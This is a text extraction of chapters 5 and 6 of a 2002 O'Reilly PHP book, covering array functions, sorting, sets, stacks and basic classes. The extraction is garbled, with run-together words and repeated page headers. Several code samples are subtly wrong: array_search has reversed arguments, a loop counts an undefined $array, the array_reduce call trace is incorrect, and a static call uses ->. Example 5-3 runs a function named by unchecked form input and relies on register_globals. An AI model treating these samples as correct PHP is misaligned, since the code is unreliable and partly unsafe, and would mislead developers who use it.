Converting Between Arrays and VariablesPHP provides two functions, extract( ) and compact( ), that convert between arraysand variables. The names of the variables correspond to keys in the array, and thevalues of the variables become the values in the array. For instance, this array:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Betty');

can be converted to, or built from, these variables:

$name = 'Fred';$age = 35;$wife = 'Betty';

Creating Variables from an ArrayThe extract( ) function automatically creates local variables from an array. Theindexes of the array elements are the variable names:

extract($person); // $name, $age, and $wife are now set

If a variable created by the extraction has the same name as an existing one, theextracted variable overwrites the existing variable.

You can modify extract( )’s behavior by passing a second argument. Appendix Adescribes the possible values for this second argument. The most useful value is

,ch05.15699 Page 124 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (125)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Traversing Arrays | 125

EXTR_PREFIX_SAME, which says that the third argument to extract( ) is a prefix for thevariable names that are created. This helps ensure that you create unique variablenames when you use extract( ). It is good PHP style to always use EXTR_PREFIX_SAME,as shown here:

$shape = "round";$array = array("cover" => "bird", "shape" => "rectangular");extract($array, EXTR_PREFIX_SAME, "book");echo "Cover: $book_cover, Book Shape: $book_shape, Shape: $shape";Cover: bird, Book Shape: rectangular, Shape: round

Creating an Array from VariablesThe compact( ) function is the complement of extract( ). Pass it the variable namesto compact either as separate parameters or in an array. The compact( ) function cre-ates an associative array whose keys are the variable names and whose values are thevariable’s values. Any names in the array that do not correspond to actual variablesare skipped. Here’s an example of compact( ) in action:

$color = 'indigo';$shape = 'curvy';$floppy = 'none';

$a = compact('color', 'shape', 'floppy');// or$names = array('color', 'shape', 'floppy');$a = compact($names);

Traversing ArraysThe most common task with arrays is to do something with every element—forinstance, sending mail to each element of an array of addresses, updating each file inan array of filenames, or adding up each element of an array of prices. There are sev-eral ways to traverse arrays in PHP, and the one you choose will depend on your dataand the task you’re performing.

The foreach ConstructThe most common way to loop over elements of an array is to use the foreachconstruct:

$addresses = array('[emailprotected]', '[emailprotected]');foreach ($addresses as $value) { echo "Processing $value\n";}Processing [emailprotected] [emailprotected]

,ch05.15699 Page 125 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (126)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

126 | Chapter 5: Arrays

PHP executes the body of the loop (the echo statement) once for each element of$addresses in turn, with $value set to the current element. Elements are processed bytheir internal order.

An alternative form of foreach gives you access to the current key:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');foreach ($person as $k => $v) { echo "Fred's $k is $v\n";}Fred's name is FredFred's age is 35Fred's wife is Wilma

In this case, the key for each element is placed in $k and the corresponding value isplaced in $v.

The foreach construct does not operate on the array itself, but rather on a copy of it.You can insert or delete elements in the body of a foreach loop, safe in the knowl-edge that the loop won’t attempt to process the deleted or inserted elements.

The Iterator FunctionsEvery PHP array keeps track of the current element you’re working with; the pointerto the current element is known as the iterator. PHP has functions to set, move, andreset this iterator. The iterator functions are:

current( )Returns the element currently pointed at by the iterator

reset( )Moves the iterator to the first element in the array and returns it

next( )Moves the iterator to the next element in the array and returns it

prev( )Moves the iterator to the previous element in the array and returns it

end( )Moves the iterator to the last element in the array and returns it

each( )Returns the key and value of the current element as an array and moves the itera-tor to the next element in the array

key( )Returns the key of the current element

The each( ) function is used to loop over the elements of an array. It processes ele-ments according to their internal order:

reset($addresses);while (list($key, $value) = each($addresses)) {

,ch05.15699 Page 126 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (127)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Traversing Arrays | 127

echo "$key is $value<BR>\n";}0 is [emailprotected] is [emailprotected]

This approach does not make a copy of the array, as foreach does. This is useful forvery large arrays when you want to conserve memory.

The iterator functions are useful when you need to consider some parts of the arrayseparately from others. Example 5-1 shows code that builds a table, treating the firstindex and value in an associative array as table column headings.

Using a for LoopIf you know that you are dealing with an indexed array, where the keys are consecu-tive integers beginning at 0, you can use a for loop to count through the indexes.The for loop operates on the array itself, not on a copy of the array, and processeselements in key order regardless of their internal order.

Here’s how to print an array using for:

$addresses = array('[emailprotected]', '[emailprotected]');for($i = 0; $i < count($array); $i++) { $value = $addresses[$i]; echo "$value\n";}[emailprotected]@example.com

Example 5-1. Building a table with the iterator functions

$ages = array('Person' => 'Age', 'Fred' => 35, 'Barney' => 30, 'Tigger' => 8, 'Pooh' => 40);// start table and print headingreset($ages);list($c1, $c2) = each($ages);echo("<table><tr><th>$c1</th><th>$c2</th></tr>\n");// print the rest of the valueswhile (list($c1,$c2) = each($ages)) { echo("<tr><td>$c1</td><td>$c2</td></tr>\n");}// end the tableecho("</table>");<table><tr><th>Person</th><th>Age</th></tr><tr><td>Fred</td><td>35</td></tr><tr><td>Barney</td><td>30</td></tr><tr><td>Tigger</td><td>8</td></tr><tr><td>Pooh</td><td>40</td></tr></table>

,ch05.15699 Page 127 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (128)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

128 | Chapter 5: Arrays

Calling a Function for Each Array ElementPHP provides a mechanism, array_walk( ), for calling a user-defined function onceper element in an array:

array_walk(array, function_name);

The function you define takes in two or, optionally, three arguments: the first is theelement’s value, the second is the element’s key, and the third is a value supplied toarray_walk( ) when it is called. For instance, here’s another way to print table col-umns made of the values from an array:

function print_row($value, $key) { print("<tr><td>$value</td><td>$key</td></tr>\n");}$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');array_walk($person, 'print_row');

A variation of this example specifies a background color using the optional thirdargument to array_walk( ). This parameter gives us the flexibility we need to printmany tables, with many background colors:

function print_row($value, $key, $color) { print("<tr><td bgcolor=$color>$value</td><td bgcolor=$color>$key</td></tr>\n");}$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');array_walk($person, 'print_row', 'blue');

The array_walk( ) function processes elements in their internal order.

Reducing an ArrayA cousin of array_walk( ), array_reduce( ), applies a function to each element of thearray in turn, to build a single value:

$result = array_reduce(array, function_name [, default ]);

The function takes two arguments: the running total, and the current value beingprocessed. It should return the new running total. For instance, to add up thesquares of the values of an array, use:

function add_up ($running_total, $current_value) { $running_total += $current_value * $current_value; return $running_total;}

$numbers = array(2, 3, 5, 7);$total = array_reduce($numbers, 'add_up');// $total is now 87

The array_reduce( ) line makes these function calls:

add_up(2,3)add_up(13,5)add_up(38,7)

,ch05.15699 Page 128 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (129)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Traversing Arrays | 129

The default argument, if provided, is a seed value. For instance, if we change the callto array_reduce( ) in the previous example to:

$total = array_reduce($numbers, 'add_up', 11);

The resulting function calls are:

add_up(11,2)add_up(13,3)add_up(16,5)add_up(21,7)

If the array is empty, array_reduce( ) returns the default value. If no default value isgiven and the array is empty, array_reduce( ) returns NULL.

Searching for ValuesThe in_array( ) function returns true or false, depending on whether the first argu-ment is an element in the array given as the second argument:

if (in_array(to_find, array [, strict])) { ... }

If the optional third argument is true, the types of to_find and the value in the arraymust match. The default is to not check the types.

Here’s a simple example:

$addresses = array('[emailprotected]', '[emailprotected]', '[emailprotected]');$got_spam = in_array('[emailprotected]', $addresses); // $got_spam is true$got_milk = in_array('[emailprotected]', $addresses); // $got_milk is false

PHP automatically indexes the values in arrays, so in_array( ) is much faster than aloop that checks every value to find the one you want.

Example 5-2 checks whether the user has entered information in all the requiredfields in a form.

Example 5-2. Searching an array

<?php function have_required($array , $required_fields) { foreach($required_fields as $field) { if(empty($array[$field])) return false; }

return true; }

if($submitted) { echo '<p>You '; echo have_required($_POST, array('name', 'email_address')) ? 'did' : 'did not'; echo ' have all the required fields.</p>'; }?>

,ch05.15699 Page 129 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (130)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

130 | Chapter 5: Arrays

A variation on in_array( ) is the array_search( ) function. While in_array( ) returnstrue if the value is found, array_search( ) returns the key of the found element:

$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');$k = array_search($person, 'Wilma');echo("Fred's $k is Wilma\n");Fred's wife is Wilma

The array_search( ) function also takes the optional third strict argument, whichrequires the types of the value being searched for and the value in the array to match.

SortingSorting changes the internal order of elements in an array and optionally rewrites thekeys to reflect this new order. For example, you might use sorting to arrange a list ofscores from biggest to smallest, to alphabetize a list of names, or to order a set ofusers based on how many messages they posted.

PHP provides three ways to sort arrays—sorting by keys, sorting by values withoutchanging the keys, or sorting by values and then changing the keys. Each kind of sortcan be done in ascending order, descending order, or an order defined by a user-defined function.

Sorting One Array at a TimeThe functions provided by PHP to sort an array are shown in Table 5-1.

The sort( ), rsort( ), and usort( ) functions are designed to work on indexed arrays,because they assign new numeric keys to represent the ordering. They’re useful when

<form action="<?= $PHP_SELF; ?>" method="POST"> <p> Name: <input type="text" name="name" /><br /> Email address: <input type="text" name="email_address" /><br /> Age (optional): <input type="text" name="age" /> </p>

<p align="center"> <input type="submit" value="submit" name="submitted" /> </p></form>

Table 5-1. PHP functions for sorting an array

Effect Ascending Descending User-defined order

Sort array by values, then reassign indexes starting with 0 sort( ) rsort( ) usort( )

Sort array by values asort( ) arsort( ) uasort( )

Sort array by keys ksort( ) krsort( ) uksort( )

Example 5-2. Searching an array (continued)

,ch05.15699 Page 130 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (131)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sorting | 131

you need to answer questions like “what are the top 10 scores?” and “who’s the thirdperson in alphabetical order?” The other sort functions can be used on indexedarrays, but you’ll only be able to access the sorted ordering by using traversal func-tions such as foreach and next.

To sort names into ascending alphabetical order, you’d use this:

$names = array('cath', 'angela', 'brad', 'dave');sort($names); // $names is now 'angela', 'brad', 'cath', 'dave'

To get them in reverse alphabetic order, simply call rsort( ) instead of sort( ).

If you have an associative array mapping usernames to minutes of login time, youcan use arsort( ) to display a table of the top three, as shown here:

$logins = array('njt' => 415, 'kt' => 492, 'rl' => 652, 'jht' => 441, 'jj' => 441, 'wt' => 402);arsort($logins);$num_printed = 0;echo("<table>\n");foreach ($logins as $user => $time ) { echo("<tr><td>$user</td><td>$time</td></tr>\n"); if (++$num_printed == 3) { break; // stop after three }}echo("</table>\n");<table><tr><td>rl</td><td>652</td></tr><tr><td>kt</td><td>492</td></tr><tr><td>jht</td><td>441</td></tr></table>

If you want that table displayed in ascending order by username, use ksort( ):

ksort($logins);echo("<table>\n");foreach ($logins as $user => $time) { echo("<tr><td>$user</td><td>$time</td></tr>\n");}echo("</table>\n");<table><tr><td>jht</td><td>441</td></tr><tr><td>jj</td><td>441</td></tr><tr><td>kt</td><td>492</td></tr><tr><td>njt</td><td>415</td></tr><tr><td>rl</td><td>652</td></tr><tr><td>wt</td><td>402</td></tr></table>

User-defined ordering requires that you provide a function that takes two values andreturns a value that specifies the order of the two values in the sorted array. The

,ch05.15699 Page 131 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (132)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

132 | Chapter 5: Arrays

function should return 1 if the first value is greater than the second, -1 if the firstvalue is less than the second, and 0 if the values are the same for the purposes of yourcustom sort order.

Example 5-3 is a program that lets you try the various sorting functions on the samedata.

Example 5-3. Sorting arrays

<?php function user_sort($a, $b) { // smarts is all-important, so sort it first if($b == 'smarts') { return 1; } else if($a == 'smarts') { return -1; }

return ($a == $b) ? 0 : (($a < $b) ? -1 : 1); }

$values = array('name' => 'Buzz Lightyear', 'email_address' => '[emailprotected]', 'age' => 32, 'smarts' => 'some');

if($submitted) { if($sort_type == 'usort' || $sort_type == 'uksort' || $sort_type == 'uasort') { $sort_type($values, 'user_sort'); } else { $sort_type($values); } }?>

<form action="index.php"> <p> <input type="radio" name="sort_type" value="sort" checked="checked" /> Standard sort<br /> <input type="radio" name="sort_type" value="rsort" /> Reverse sort<br /> <input type="radio" name="sort_type" value="usort" /> User-defined sort<br /> <input type="radio" name="sort_type" value="ksort" /> Key sort<br /> <input type="radio" name="sort_type" value="krsort" /> Reverse key sort<br /> <input type="radio" name="sort_type" value="uksort" /> User-defined key sort<br /> <input type="radio" name="sort_type" value="asort" /> Value sort<br /> <input type="radio" name="sort_type" value="arsort" /> Reverse value sort<br /> <input type="radio" name="sort_type" value="uasort" /> User-defined value sort<br /> </p>

<p align="center"> <input type="submit" value="Sort" name="submitted" /> </p>

,ch05.15699 Page 132 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (133)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sorting | 133

Natural-Order SortingPHP’s built-in sort functions correctly sort strings and numbers, but they don’t cor-rectly sort strings that contain numbers. For example, if you have the filenamesex10.php, ex5.php, and ex1.php, the normal sort functions will rearrange them inthis order: ex1.php, ex10.php, ex5.php. To correctly sort strings that contain num-bers, use the natsort( ) and natcasesort( ) functions:

$output = natsort(input);$output = natcasesort(input);

Sorting Multiple Arrays at OnceThe array_multisort( ) function sorts multiple indexed arrays at once:

array_multisort(array1 [, array2, ... ]);

Pass it a series of arrays and sorting orders (identified by the SORT_ASC or SORT_DESCconstants), and it reorders the elements of all the arrays, assigning new indexes. It issimilar to a join operation on a relational database.

Imagine that you have a lot of people, and several pieces of data on each person:

$names = array('Tom', 'Dick', 'Harriet', 'Brenda', 'Joe');$ages = array(25, 35, 29, 35, 35);$zips = array(80522, '02140', 90210, 64141, 80522);

The first element of each array represents a single record—all the information knownabout Tom. Similarly, the second element constitutes another record—all the infor-mation known about Dick. The array_multisort( ) function reorders the elements ofthe arrays, preserving the records. That is, if Dick ends up first in the $names arrayafter the sort, the rest of Dick’s information will be first in the other arrays too. (Notethat we needed to quote Dick’s zip code to prevent it from being interpreted as anoctal constant.)

Here’s how to sort the records first ascending by age, then descending by zip code:

array_multisort($ages, SORT_ASC, $zips, SORT_DESC, $names, SORT_ASC);

<p> Values <?= $submitted ? "sorted by $sort_type" : "unsorted"; ?>: </p>

<ul> <?php foreach($values as $key=>$value) { echo "<li><b>$key</b>: $value</li>"; } ?> </ul></form>

Example 5-3. Sorting arrays (continued)

,ch05.15699 Page 133 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (134)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

134 | Chapter 5: Arrays

We need to include $names in the function call to ensure that Dick’s name stays withhis age and zip code. Printing out the data shows the result of the sort:

echo("<table>\n");for ($i=0; $i < count($names); $i++) { echo("<tr><td>$ages[$i]</td><td>$zips[$i]</td><td>$names[$i]</td>\n");}echo("</table>\n");<table><tr><td>25</td><td>80522</td><td>Tom</td><tr><td>29</td><td>90210</td><td>Harriet</td><tr><td>35</td><td>80522</td><td>Joe</td><tr><td>35</td><td>64141</td><td>Brenda</td><tr><td>35</td><td>02140</td><td>Dick</td></table>

Reversing ArraysThe array_reverse( ) function reverses the internal order of elements in an array:

$reversed = array_reverse(array);

Numeric keys are renumbered starting at 0, while string indexes are unaffected. Ingeneral, it’s better to use the reverse-order sorting functions instead of sorting andthen reversing the order of an array.

The array_flip( ) function returns an array that reverses the order of each originalelement’s key-value pair:

$flipped = array_flip(array);

That is, for each element of the array whose value is a valid key, the element’s valuebecomes its key and the element’s key becomes its value. For example, if you have anarray mapping usernames to home directories, you can use array_flip( ) to create anarray mapping home directories to usernames:

$u2h = array('gnat' => '/home/staff/nathan', 'rasmus' => '/home/elite/rasmus', 'ktatroe' => '/home/staff/kevin');$h2u = array_flip($u2h);$user = $h2u['/home/staff/kevin']; // $user is now 'ktatroe'

Elements whose original values are neither strings nor integers are left alone in theresulting array. The new array lets you discover the key in the original array given itsvalue, but this technique works effectively only when the original array has uniquevalues.

Randomizing OrderTo traverse the elements in an array in a random order, use the shuffle( ) function.All existing keys, whether string or numeric, are replaced with consecutive integersstarting at 0.

,ch05.15699 Page 134 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (135)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Acting on Entire Arrays | 135

Here’s how to randomize the order of the days of the week:

$days = array('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday');shuffle($days);print_r($days);Array( [0] => Tuesday [1] => Thursday [2] => Monday [3] => Friday [4] => Wednesday [5] => Saturday [6] => Sunday)

Obviously, the order after your shuffle( ) may not be the same as the sample outputhere. Unless you are interested in getting multiple random elements from an array,without repeating any specific item, using the rand( ) function to pick an index ismore efficient.

Acting on Entire ArraysPHP has several useful functions for modifying or applying an operation to all ele-ments of an array. You can merge arrays, find the difference, calculate the total, andmore, all using built-in functions.

Calculating the Sum of an ArrayThe array_sum( ) function adds up the values in an indexed or associative array:

$sum = array_sum(array);

For example:

$scores = array(98, 76, 56, 80);$total = array_sum($scores);// $total = 310

Merging Two ArraysThe array_merge( ) function intelligently merges two or more arrays:

$merged = array_merge(array1, array2 [, array ... ])

If a numeric key from an earlier array is repeated, the value from the later array isassigned a new numeric key:

$first = array('hello', 'world'); // 0 => 'hello', 1 => 'world'$second = array('exit', 'here'); // 0 => 'exit', 1 => 'here'$merged = array_merge($first, $second);// $merged = array('hello', 'world', 'exit', 'here')

,ch05.15699 Page 135 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (136)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

136 | Chapter 5: Arrays

If a string key from an earlier array is repeated, the earlier value is replaced by thelater value:

$first = array('bill' => 'clinton', 'tony' => 'danza');$second = array('bill' => 'gates', 'adam' => 'west');$merged = array_merge($first, $second);// $merged = array('bill' => 'gates', 'tony' => 'danza', 'adam' => 'west')

Calculating the Difference Between Two ArraysThe array_diff( ) function identifies values from one array that are not present inothers:

$diff = array_diff(array1, array2 [, array ... ]);

For example:

$a1 = array('bill', 'claire', 'elle', 'simon', 'judy');$a2 = array('jack', 'claire', 'toni');$a3 = array('elle', 'simon', 'garfunkel');// find values of $a1 not in $a2 or $a3$diff = array_diff($a1, $a2, $a3);// $diff is array('bill', 'judy');

Values are compared using ===, so 1 and "1" are considered different. The keys of thefirst array are preserved, so in $diff the key of 'bill' is 0 and the key of 'judy' is 4.

Filtering Elements from an ArrayTo identify a subset of an array based on its values, use the array_filter( ) function:

$filtered = array_filter(array, callback);

Each value of array is passed to the function named in callback. The returned arraycontains only those elements of the original array for which the function returns atrue value. For example:

function is_odd ($element) { return $element % 2;}$numbers = array(9, 23, 24, 27);$odds = array_filter($numbers, 'is_odd');// $odds is array(0 => 9, 1 => 23, 3 => 27)

As you see, the keys are preserved. This function is most useful with associativearrays.

Using ArraysArrays crop up in almost every PHP program. In addition to their obvious use forstoring collections of values, they’re also used to implement various abstract datatypes. In this section, we show how to use arrays to implement sets and stacks.

,ch05.15699 Page 136 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (137)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Using Arrays | 137

SetsArrays let you implement the basic operations of set theory: union, intersection, anddifference. Each set is represented by an array, and various PHP functions imple-ment the set operations. The values in the set are the values in the array—the keysare not used, but they are generally preserved by the operations.

The union of two sets is all the elements from both sets, with duplicates removed.The array_merge( ) and array_unique( ) functions let you calculate the union. Here’show to find the union of two arrays:

function array_union($a, $b) { $union = array_merge($a, $b); // duplicates may still exist $union = array_unique($union);

return $union;}

$first = array(1, 'two', 3);$second = array('two', 'three', 'four');$union = array_union($first, $second);print_r($union);Array( [0] => 1 [1] => two [2] => 3 [4] => three [5] => four)

The intersection of two sets is the set of elements they have in common. PHP’s built-in array_intersect( ) function takes any number of arrays as arguments and returnsan array of those values that exist in each. If multiple keys have the same value, thefirst key with that value is preserved.

Another common function to perform on a set of arrays is to get the difference; thatis, the values in one array that are not present in another array. The array_diff( )function calculates this, returning an array with values from the first array that arenot present in the second.

The following code takes the difference of two arrays:

$first = array(1, 'two', 3);$second = array('two', 'three', 'four');$difference = array_diff($first, $second);print_r($difference);Array( [0] => 1 [2] => 3)

,ch05.15699 Page 137 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (138)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

138 | Chapter 5: Arrays

StacksAlthough not as common in PHP programs as in other programs, one fairly com-mon data type is the last-in first-out (LIFO) stack. We can create stacks using a pairof PHP functions, array_push( ) and array_pop( ). The array_push( ) function is iden-tical to an assignment to $array[]. We use array_push( ) because it accentuates thefact that we’re working with stacks, and the parallelism with array_pop() makes ourcode easier to read. There are also array_shift( ) and array_unshift( ) functions fortreating an array like a queue.

Stacks are particularly useful for maintaining state. Example 5-4 provides a simplestate debugger that allows you to print out a list of which functions have been calledup to this point (i.e., the stack trace).

Example 5-4. State debugger

$call_trace = array( );

function enter_function($name) { global $call_trace; array_push($call_trace, $name); // same as $call_trace[] = $name

echo "Entering $name (stack is now: " . join(' -> ', $call_trace) . ')<br />';}

function exit_function( ) { echo 'Exiting<br />';

global $call_trace; array_pop($call_trace); // we ignore array_pop( )'s return value}

function first( ) { enter_function('first'); exit_function( );}

function second( ) { enter_function('second'); first( ); exit_function( );}

function third( ) { enter_function('third'); second( ); first( ); exit_function( );}

first( );third( );

,ch05.15699 Page 138 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (139)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Using Arrays | 139

Here’s the output from Example 5-4:

Entering first (stack is now: first)ExitingEntering third (stack is now: third)Entering second (stack is now: third -> second)Entering first (stack is now: third -> second -> first)ExitingExitingEntering first (stack is now: third -> first)ExitingExiting

,ch05.15699 Page 139 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (140)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

140

Chapter 6CHAPTER 6

Objects

Object-oriented programming (OOP) opens the door to cleaner designs, easier main-tenance, and greater code reuse. Such is the proven value of OOP that few todaywould dare to introduce a language that wasn’t object-oriented. PHP supports manyuseful features of OOP, and this chapter shows you how to use them.

OOP acknowledges the fundamental connection between data and the code thatworks on that data, and it lets you design and implement programs around that con-nection. For example, a bulletin-board system usually keeps track of many users. In aprocedural programming language, each user would be a data structure, and therewould probably be a set of functions that work with users’ data structures (create thenew users, get their information, etc.). In an object-oriented programming language,each user would be an object—a data structure with attached code. The data and thecode are still there, but they’re treated as an inseparable unit.

In this hypothetical bulletin-board design, objects can represent not just users, butalso messages and threads. A user object has a username and password for thatuser, and code to identify all the messages by that author. A message object knowswhich thread it belongs to and has code to post a new message, reply to an existingmessage, and display messages. A thread object is a collection of message objects,and it has code to display a thread index. This is only one way of dividing the neces-sary functionality into objects, though. For instance, in an alternate design, thecode to post a new message lives in the user object, not the message object. Design-ing object-oriented systems is a complex topic, and many books have been writtenon it. The good news is that however you design your system, you can implement itin PHP.

The object as union of code and data is the modular unit for application develop-ment and code reuse. This chapter shows you how to define, create, and use objectsin PHP. It covers basic OO concepts as well as advanced topics such as introspec-tion and serialization.

,ch06.15830 Page 140 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (141)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Creating an Object | 141

TerminologyEvery object-oriented language seems to have a different set of terminology for thesame old concepts. This section describes the terms that PHP uses, but be warnedthat in other languages these terms may have different meanings.

Let’s return to the example of the users of a bulletin board. You need to keep track ofthe same information for each user, and the same functions can be called on eachuser’s data structure. When you design the program, you decide the fields for eachuser and come up with the functions. In OOP terms, you’re designing the user class.A class is a template for building objects.

An object is an instance of a class. In this case, it’s an actual user data structure withattached code. Objects and classes are a bit like values and data types. There’s onlyone integer data type, but there are many possible integers. Similarly, your pro-gram defines only one user class but can create many different (or identical) usersfrom it.

The data associated with an object are called its properties. The functions associatedwith an object are called its methods. When you define a class, you define the namesof its properties and give the code for its methods.

Debugging and maintenance of programs is much easier if you use encapsulation.This is the idea that a class provides certain methods (the interface) to the code thatuses its objects, so the outside code does not directly access the data structures ofthose objects. Debugging is thus easier because you know where to look for bugs—the only code that changes an object’s data structures is in the class—and mainte-nance is easier because you can swap out implementations of a class without chang-ing the code that uses the class, as long as you maintain the same interface.

Any nontrivial object-oriented design probably involves inheritance. This is a way ofdefining a new class by saying that it’s like an existing class, but with certain new orchanged properties and methods. The old class is called the superclass (or base class),and the new class is called the subclass (or derived class). Inheritance is a form ofcode reuse—the base-class code is reused instead of being copied and pasted into thenew class. Any improvements or modifications to the base class are automaticallypassed on to the derived class.

Creating an ObjectIt’s much easier to create objects and use them than it is to define object classes, sobefore we discuss how to define classes, let’s look at creating objects. To create anobject of a given class, use the new keyword:

$object = new Class;

,ch06.15830 Page 141 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (142)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

142 | Chapter 6: Objects

Assuming that a Person class has been defined, here’s how to create a Person object:

$rasmus = new Person;

Do not quote the class name, or you’ll get a compilation error:

$rasmus = new 'Person'; // does not work

Some classes permit you to pass arguments to the new call. The class’s documenta-tion should say whether it accepts arguments. If it does, you’ll create objects likethis:

$object = new Person('Fred', 35);

The class name does not have to be hardcoded into your program. You can supplythe class name through a variable:

$class = 'Person';$object = new $class;// is equivalent to$object = new Person;

Specifying a class that doesn’t exist causes a runtime error.

Variables containing object references are just normal variables—they can be used inthe same ways as other variables. Of particular note is that variable variables workwith objects, as shown here:

$account = new Account;$object = 'account'${$object}->init(50000, 1.10); // same as $account->init

Accessing Properties and MethodsOnce you have an object, you can use the -> notation to access methods and proper-ties of the object:

$object->propertyname$object->methodname([arg, ... ])

For example:

printf("Rasmus is %d years old.\n", $rasmus->age); // property access$rasmus->birthday(); // method call$rasmus->set_age(21); // method call with arguments

Methods are functions, so they can take arguments and return a value:

$clan = $rasmus->family('extended');

PHP does not have the concept of private and public methods or properties. That is,there’s no way to specify that only the code in the class should be able to directlyaccess a particular property or method. Encapsulation is achieved by convention—only an object’s code should directly access its properties—rather than beingenforced by the language itself.

,ch06.15830 Page 142 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (143)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Declaring a Class | 143

You can use variable variables with property names:

$prop = 'age';echo $rasmus->$prop;

A static method is one that is called on a class, not on an object. Such methods can-not access properties. The name of a static method is the class name, followed bytwo colons and the function name. For instance, this calls the p( ) method in theHTML class:

HTML::p("Hello, world");

A class’s documentation tells you which methods are static.

Assignment creates a copy of an object with identical properties. Changing the copydoes not change the original:

$f = new Person('Fred', 35);$b = $f; // make a copy$b->set_name('Barney'); // change the copyprintf("%s and %s are best friends.\n", $b->get_name(), $f->get_name( ));Barney and Fred are best friends.

Declaring a ClassTo design your program or code library in an object-oriented fashion, you’ll need todefine your own classes, using the class keyword. A class definition includes theclass name and the properties and methods of the class. Class names are case-insensi-tive and must conform to the rules for PHP identifiers. The class name stdClass isreserved. Here’s the syntax for a class definition:

class classname [ extends baseclass ]{ [ var $property [ = value ]; ... ]

[ function functionname (args) { // code } ... ]}

Declaring MethodsA method is a function defined inside a class. Although PHP imposes no specialrestrictions, most methods act only on data within the object in which the methodresides. Method names beginning with two underscores (_ _) may be used in thefuture by PHP (and are currently used for the object serialization methods _ _sleep( )and _ _wakeup( ), described later in this chapter), so it’s recommended that you donot begin your method names with this sequence.

,ch06.15830 Page 143 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (144)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

144 | Chapter 6: Objects

Within a method, the $this variable contains a reference to the object on which themethod was called. For instance, if you call $rasmus->birthday( ), inside thebirthday( ) method, $this holds the same value as $rasmus. Methods use the $thisvariable to access the properties of the current object and to call other methods onthat object.

Here’s a simple class definition of the Person class that shows the $this variable inaction:

class Person { var $name;

function get_name ( ) { return $this->name; }

function set_name ($new_name) { $this->name = $new_name; }}

As you can see, the get_name( ) and set_name( ) methods use $this to access and setthe $name property of the current object.

There are no keywords or special syntax for declaring a static method. A staticmethod simply doesn’t use $this, because the method is called on a class and not onan object. For example:

class HTML_Stuff { function start_table( ) { echo "<table border='1'>\n"; } function end_table ( ) { echo "</table>\n"; }}HTML_Stuff->start_table( );// print HTML table rows and columnsHTML_Stuff->end_table( );

Declaring PropertiesIn the previous definition of the Person class, we explicitly declared the $name prop-erty. Property declarations are optional and are simply a courtesy to whoever main-tains your program. It’s good PHP style to declare your properties, but you can addnew properties at any time.

Here’s a version of the Person class that has an undeclared $name property:

class Person { function get_name ( ) { return $this->name; }

,ch06.15830 Page 144 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (145)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Declaring a Class | 145

function set_name ($new_name) { $this->name = $new_name; }}

You can assign default values to properties, but those default values must be simpleconstants:

var $name = 'J Doe'; // worksvar $age = 0; // worksvar $day = 60*60*24; // doesn't work

